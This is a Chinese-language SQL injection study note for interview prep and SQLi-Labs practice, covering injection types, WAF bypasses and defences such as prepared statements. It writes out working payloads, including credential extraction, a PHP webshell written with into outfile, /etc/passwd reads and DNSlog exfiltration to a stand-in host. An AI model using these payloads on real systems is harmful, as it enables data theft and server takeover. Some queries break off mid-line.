SQL 注入整理

学习目标:

  • 学习

SQL 注入完全笔记(面试 + 复现 + 实战全覆盖)

核心结论

SQL 注入是因未对用户输入严格过滤,导致恶意 SQL 语句被执行的漏洞,核心危害包括数据库泄露、服务器控制、权限提升等;面试重点围绕注入类型、绕过技巧、防御方案,复现需掌握靶场实操与漏洞利用逻辑,实战需结合工具与手工注入。

一、SQL 注入核心基础(面试必问)

1. 注入本质

用户输入未经过滤直接拼接进 SQL 语句,破坏语句结构并执行恶意逻辑,本质是 "输入可控 + 语句拼接 + 过滤缺失" 三者叠加的结果。

2. 核心危害(面试高频)

  • 数据库层面:拖库(用户账号密码、敏感数据泄露)、删库改表(DROP TABLEUPDATE恶意操作)。
  • 服务器层面:文件读写(load_file读配置文件、into outfile写木马)、命令执行(提权后控制服务器)。
  • 业务层面:越权访问(登录绕过、访问敏感功能)、数据篡改(订单、金额修改)。

3. 注入前提条件

  • 输入可控:用户可修改请求参数(GET/POST/Cookie/Header 等)。
  • 拼接执行:输入直接参与 SQL 语句构造,未使用预编译等安全方式。
  • 反馈可达:可通过报错、回显、时间差等获取执行结果。

二、SQL 注入分类(按注入方式 + 场景)

1. 按数据交互方式分类

(1)联合查询注入(Union Injection)
  • 原理:利用UNION关键字拼接查询语句,获取数据库信息,要求前后查询列数一致。
  • 适用场景:有数据回显的场景(如列表页、详情页)。
  • 核心步骤:判断列数(order by)→ 确定回显位(union select 1,2,3)→ 查库 / 表 / 字段(information_schema)→ 提取数据。
  • 面试考点:列数不匹配如何处理?(补全空值union select 1,'',3)、回显位被过滤如何绕过?(报错注入替代)。
(2)报错注入(Error-Based Injection)
  • 原理:构造恶意语句触发数据库报错,将查询结果包含在报错信息中。
  • 常用函数(面试必记):
    • updatexml(1,concat(0x7e,查询语句,0x7e),1):XPATH 语法错误触发。
    • extractvalue(1,concat(0x7e,查询语句,0x7e)):同属 XPATH 报错。
    • floor(rand(0)*2) + group by + count(*):主键冲突报错。
  • 适用场景:无直接回显,但有报错信息输出。
(3)盲注(Blind Injection)
  • 布尔盲注:根据返回页面是否正常(True/False)逐字符猜解数据(如substr(database(),1,1)='s')。
  • 时间盲注:通过sleep()函数的延迟效果判断条件是否成立(如if(substr(database(),1,1)='s',sleep(5),1))。
  • 适用场景:无回显、无报错,仅能通过页面响应状态或时间差判断。
  • 面试考点:盲注效率优化?(二分法猜解、批量脚本执行)、时间盲注被过滤如何替代?(benchmark()函数)。
(4)二次注入(Second-Order Injection)
  • 原理:首次输入恶意数据被转义存储,二次调用时转义失效,导致注入触发(如注册时输入admin'#,登录时拼接执行)。
  • 典型场景:用户注册、资料修改、评论提交等需存储后复用输入的功能。
  • 面试考点:二次注入与普通注入的区别?(触发分两步:存储 + 复用,过滤仅在存储时生效)。
(5)堆叠注入(Stacked Injection)
  • 原理:使用;分隔多条 SQL 语句,同时执行(如select * from users where id=1; drop table users;)。
  • 适用场景:数据库支持多语句执行(MySQL 默认支持,部分中间件可能拦截)。
  • 面试考点:堆叠注入为何不常用?(多数 Web 框架 / 中间件会过滤;,且需高权限)。

2. 按请求方式分类

  • GET 注入:参数在 URL 中(如?id=1),易测试,可直接拼接 Payload。
  • POST 注入:参数在请求体中(如登录表单、提交数据),需抓包修改参数。
  • Cookie/Header 注入:参数在 Cookie(如username=admin)、User-Agent、Referer 等头中,易被忽略,需全面抓包排查。

3. 按数据库类型分类

  • MySQL:支持information_schema查表、load_file/into outfile文件操作、丰富报错函数。
  • SQL Server:支持sysobjects查表、xp_cmdshell命令执行、bulk insert文件读写。
  • Oracle:表名需大写(USER_TABLES)、无information_schema,需用dual虚拟表。
  • 面试考点:不同数据库注入差异?(表结构查询方式、函数支持、文件操作权限)。

三、关键技术点(复现 + 面试重点)

1. 注入核心函数(实战必备)

函数类型 常用函数 作用 面试考点
数据查询 database()version() 查当前库名、数据库版本 如何绕过函数过滤?(内联注释/*!database()*/
字符串处理 substr()mid()concat() 截取字符串、拼接结果 substr被过滤如何替代?(left()right()
报错触发 updatexml()extractvalue() 触发 XPATH 报错 报错长度限制如何处理?(分段查询substr(查询,1,20)
时间延迟 sleep()benchmark() 时间盲注延迟 sleep被过滤如何替代?(benchmark(1000000,md5(404))
文件操作 load_file()into outfile 读文件、写文件 文件操作权限要求?(secure_file_priv配置为空)

2. 注入流程(复现标准化步骤)

(1)漏洞探测
  • 基础测试:?id=1'(单引号报错)、?id=1 and 1=1/?id=1 and 1=2(布尔判断)。
  • 确认注入:报错则直接判断,无报错则试时间盲注(?id=1 and sleep(5))。
(2)信息收集
  • 查数据库:union select 1,database(),3(联合查询)、updatexml(1,concat(0x7e,database()),1)(报错注入)。
  • 查表名:select group_concat(table_name) from information_schema.tables where table_schema=database()
  • 查字段:select group_concat(column_name) from information_schema.columns where table_name='users'
(3)数据提取
  • 提取敏感数据:select group_concat(username,0x7e,password) from users(0x7e 是~分隔符)。
  • 文件操作:读配置文件(load_file('/etc/passwd'))、写木马(union select 1,'<?php @eval($_POST[cmd])?>',3 into outfile '/var/www/html/shell.php')。
(4)权限提升
  • 数据库提权:读取数据库配置文件(如my.ini)、获取 root 账号密码。
  • 服务器提权:通过木马连接服务器、执行系统命令(whoamiifconfig)。

3. WAF 绕过技巧(面试高频 + 实战核心)

(1)注释符绕过
  • 常用注释:#--+/*...*/;%00(截断注释)。
  • 绕过场景:过滤#则用--+,过滤--则用/*comment*/
(2)关键字绕过
  • 大小写混合:UnIoN SeLeCt(绕过大小写敏感过滤)。
  • 双写关键字:oorrder by(过滤or后还原为order by)。
  • 内联注释:/*!union*/ /*!select*/ 1,2,3(MySQL 特有关键字执行)。
  • 编码绕过:URL 编码(union%75%6E%69%6F%6E)、ASCII 编码(unionchar(117,110,105,111,110))。
(3)空格绕过
  • 替代字符:%09(Tab)、%0A(换行)、%A0(非中断空格)、/**/(注释填充)。
  • 适用场景:过滤空格则用select/**/1,2,3
(4)符号绕过
  • 引号绕过:十六进制编码(users0x7573657273)、无引号拼接(table_schema=database())。
  • 等号绕过:likeregexp替代(substr(database(),1,1) like 's')。
  • 逗号绕过:join替代(union select * from (select 1)a join (select 2)b)、limit offset替代(limit 1 offset 0)。
(5)函数绕过
  • 函数替换:sleep()benchmark()concat()concat_ws()substr()mid()
  • 生僻函数:polygon()linestring()替代updatexml()触发报错(select polygon((select * from (select version())a)))。
(6)其他绕过
  • HTTP 参数污染:?id=1&id=2' union select 1,2,3(WAF 仅检测第一个id)。
  • 宽字节注入:GBK 编码下,%df'運',吃掉转义符\id=1%df' union select 1,2,3--+)。
  • 字符集转换:利用latin1utf8转换差异,忽略无效字符(admin%c2匹配admin)。

四、靶场复现实战(以 SQLi-Labs 为例)

1. Less-1(GET 联合查询注入)

  • 探测:?id=1'报错→存在注入。
  • 查列数:?id=1' order by 3--+(3 列正常,4 列报错)。
  • 回显位:?id=-1' union select 1,2,database()--+(回显 2、3 位)。
  • 提权:?id=-1' union select 1,group_concat(username,0x7e,password),3 from security.users--+

2. Less-5(布尔盲注)

  • 探测:?id=1' and 1=1--+正常,?id=1' and 1=2--+异常→布尔盲注。
  • 猜库名:?id=1' and left(database(),1)='s'--+(逐字符确认security)。
  • 猜表名:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

3. Less-7(文件写入注入)

  • 条件:secure_file_priv为空(MySQL 配置)。
  • 写木马:?id=-1')) union select 1,2,'<?php @eval($_POST[cmd])?>' into outfile '/var/www/html/shell.php'--+
  • 连接:用蚁剑 / 菜刀连接http://xxx/shell.php,密码cmd

4. 二次注入复现(网鼎杯 Comment)

  • 第一步:注册账号时输入admin'#(被addslashes转义为admin\'#存储)。
  • 第二步:登录后评论,触发 SQL 拼接select * from comment where username='admin\'#'→转义失效,#注释后续语句,实现注入。
  • 提取 flag:',content=(select load_file("/flag.txt")),/*

五、防御方案(面试核心)

1. 核心防御原则:输入验证 + 语句安全执行

(1)输入过滤与验证
  • 白名单验证:仅允许指定字符(如数字、字母),拒绝特殊字符(';union等)。
  • 参数类型限制:强制转换为整数(如id=int($_GET['id']))。
(2)使用预编译语句(PreparedStatement)
  • 原理:SQL 语句模板与参数分离,参数仅作为数据解析,不参与语句构造。

  • 示例(PHP-PDO): php

    运行

    复制代码
    $stmt = $pdo->prepare("select * from users where id=?");
    $stmt->bindParam(1, $id);
    $stmt->execute();
  • 面试考点:预编译为何能防注入?(参数不拼接进语句,无语法破坏可能)。

(3)ORM 框架使用
  • 如 MyBatis、Hibernate,自动处理参数转义,避免手动拼接 SQL。
  • 注意:避免 ORM 中的动态 SQL 拼接(如 MyBatis 的${}语法,应用#{}, 参数绑定)。
(4)权限最小化
  • 数据库账号仅分配必要权限(查询账号无dropfile权限)。
  • Web 服务器账号无文件写入权限,限制into outfile使用。
(5)安全配置
  • MySQL 禁用secure_file_priv(限制文件操作)。
  • 关闭数据库报错详情(生产环境仅返回通用错误,不泄露表结构)。
(6)WAF 防护
  • 部署云 WAF 或服务器 WAF,拦截常见注入 Payload,但需配合其他防御(WAF 可被绕过)。

六、总结面试高频问题

  1. 什么是 SQL 注入?核心成因是什么?(输入可控 + 拼接执行 + 过滤缺失)
  2. SQL 注入有哪些类型?各自适用场景是什么?(联合查询 - 有回显、报错 - 有报错、盲注 - 无回显无报错)
  3. 如何绕过 WAF 的关键字过滤?(大小写、双写、内联注释、编码)
  4. 二次注入的触发流程是什么?(存储时转义→复用时有转义失效)
  5. 预编译为何能防御注入?(语句与参数分离,参数不参与语法解析)
  6. 盲注效率低如何解决?(二分法、脚本批量猜解、利用报错替代)
  7. MySQL 与 SQL Server 注入的差异?(查表方式、函数支持、命令执行权限)
  8. 如何判断一个页面是否存在 SQL 注入?(单引号报错、布尔判断、时间延迟)

七、扩展补充(实战进阶)

1. 工具使用

  • SQLMap:自动化注入(sqlmap -u "http://xxx/?id=1" --dbs查库)。
  • BurpSuite:抓包修改参数、批量猜解盲注、Payload 生成。
  • 蚁剑 / 菜刀:连接木马上线,控制服务器。

2. 实战注意事项

  • 避免直接攻击生产环境(违法),优先使用靶场(SQLi-Labs、BUUOJ、CTF 平台)。
  • 注入时注意编码(URL 编码、UTF-8),避免 Payload 被转义。
  • 遇到过滤时,逐步测试过滤规则(先测关键字、再测符号、最后测函数)。

3. 进阶知识点

  • DNSlog 注入:无回显时,通过 DNS 解析记录获取数据(select load_file(concat('\\\\',(select database()),'.xxx.dnslog.cn\\a')))。

  • 提权技巧:通过数据库权限读取服务器配置文件,进而获取系统权限。

  • 绕过 RASP 防护:利用编码转换、函数变形、分段注入等方式规避 Runtime 检测。

    GET-联合查询
    第一关
    注释的不同:

    1. #进行注释,一般可以,但是可以在前端进行过滤,导致注释不成功
    2. -- q 其中-- 代表注释,(某些数据库(如MySQL)要求 -- 后必须有一个空格才能生效)所以加空格
      构造Playlod的技巧:

    当我们判断注入点时,要尝试闭合,可以用尝试故意报错了解闭合规则,在构造playlod

    判断注入点

    白盒中:查看代码:id=$id' (注意闭合)

    黑盒中:尝试(一般加-- +注释符)

    判断注入类型(有无注入点)

    加上 id=1 and 1=1 -- q 反应正常 (id=1 and 1=2 -- q 反应也正常) 说明不是数字型注入

    尝试 id=1' and 1=1-- q 反应正常 (id=1' and 1=2 -- q 反应错误) 说明是字符型注入

判断数据库类型

​ mysql:id=1' AND updatexml(1,concat(0x7e,version()),1) -- q 显示数据库类型则为mysql

​ oracle: id=1' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) -- q 反应ORA-错误含版本信息则为oracle数据库

​ sqlserver: id=1' AND 1=convert(int,@@version) -- q 转换失败含版本信息则为sqlserver

使用联合查询union select 判断回显位置

​ id=1' union select 1,2,3 -- q (没有反应,因为id=1执行了,后面的不会覆盖)

​ id=-1' union select 1,2,3 -- q (id=-1,让前面的不执行)

查询数据库名

union select 1,database(),3 -- q (回显security)

查询表名

​ 第一种:group_concat(不太建议,有可能查不全,有坑)

​ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库' -- q

​ 解释一下:group_concat(table_name)放在显示位上查询表名,可以直接写table_name,但有时候会只显示一个。from infonmation_schema.tables从记录表名的数据库中查找。where table_scema='syguestbook'查找一个数据库名叫syguestbook的数据库中的信息

​ 第二种:table_name(一个一个查,慢但全)

​ union select 1,2,table_name from information_schema.tables where table_schema='数据库' limit 1,1 --+

table_name位数从0开始,更改时更改第一个数字(例如:limit 0,1;limit 1,1;limit 2,1)

查询字段名(和表名差不多)

​ 第一种:group_concat

​ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库' and table_name='表名' -- q

​ 第二种:table_name(一个一个查,慢但全)

​ union select 1,2,column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit 0,1 -- q

查询数据

第一种:group_concat

union select 1,2,group_concat(字段1,字段2,字段3....) from 表名 -- q

0x7e 作为分隔符避免数据粘连:字段1,0x7e,字段2

​ 第二种:table_name(一个一个查,慢但全)

​ union select 字段名 from 数据库.表名 limit 0,1

第二关

和第一关的区别是:数字型 id=1

第三关

和第一关的区别是:是以单引号和括号闭合的形式(字符型) id=1')

第四关

和第一关的区别是:是以双引号和括号闭合的形式(字符型) id=1")

GET-报错注入

第五关

判断注入类型(有无注入点)

​ 加上 id=1 and 1=1 --+ 反应正常 (id=1 and 1=2 --+ 反应也正常) 说明不是数字型注入

​ 尝试 id=1' and 1=1 --+ 反应正常 (id=1' and 1=2 --+ 反应错误) 说明是字符型注入

判断字段数

​ id=1' order by 4 --+ 反应错误 id=1' order by 3 --+反应正确 (字段数为3)

使用联合查询union select 判断回显位置

​ id=1' union select 1,2,3 --+ (没有反应,因为id=1执行了,后面的不会覆盖)

​ id=-1' union select 1,2,3 --+ (id=-1,让前面的不执行)

没有回显可以想到用盲注(一般可以先尝试报错注入------updatexml)

updatexml语法:updatexml(目标xml内容,xml文档路径,更新内容)

例子语句:

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

查询数据库名(盲注------报错注入)

复制代码
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q

查询表名(盲注------报错注入)

​ 注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库' limit 0,1),·

查询字段名(盲注------报错注入)

​ 注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库' and table

查询数据(盲注------报错注入)

复制代码
and updatexml(1,concat(0x7e,(select group_concat(username,password)from 表名),0x7e),1) -- q

第六关

和第5关的区别是:是以双引号闭合的形式(字符型) id=1"

GET-写入注入


学习时间:

学习时间为学习时间

|-----------|------------|
| 学习时间 | 筋肉人 |
| 为学习时间 | future |

内容为笔记【有时比较抽象,有时比较过于详细,请宽恕。作者可能写的是仅个人笔记,筋肉人future


学习产出:

  • 技术笔记 1遍
  • 有错误请指出,作者会及时改正
相关推荐
爱可生开源社区1 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1771 天前
《从零搭建NestJS项目》
数据库·typescript
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再2 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest2 天前
数据库SQL学习
数据库·sql
jnrjian2 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle
十月南城2 天前
数据湖技术对比——Iceberg、Hudi、Delta的表格格式与维护策略
大数据·数据库·数据仓库·hive·hadoop·spark
Henry Zhu1232 天前
数据库:并发控制基本概念
服务器·数据库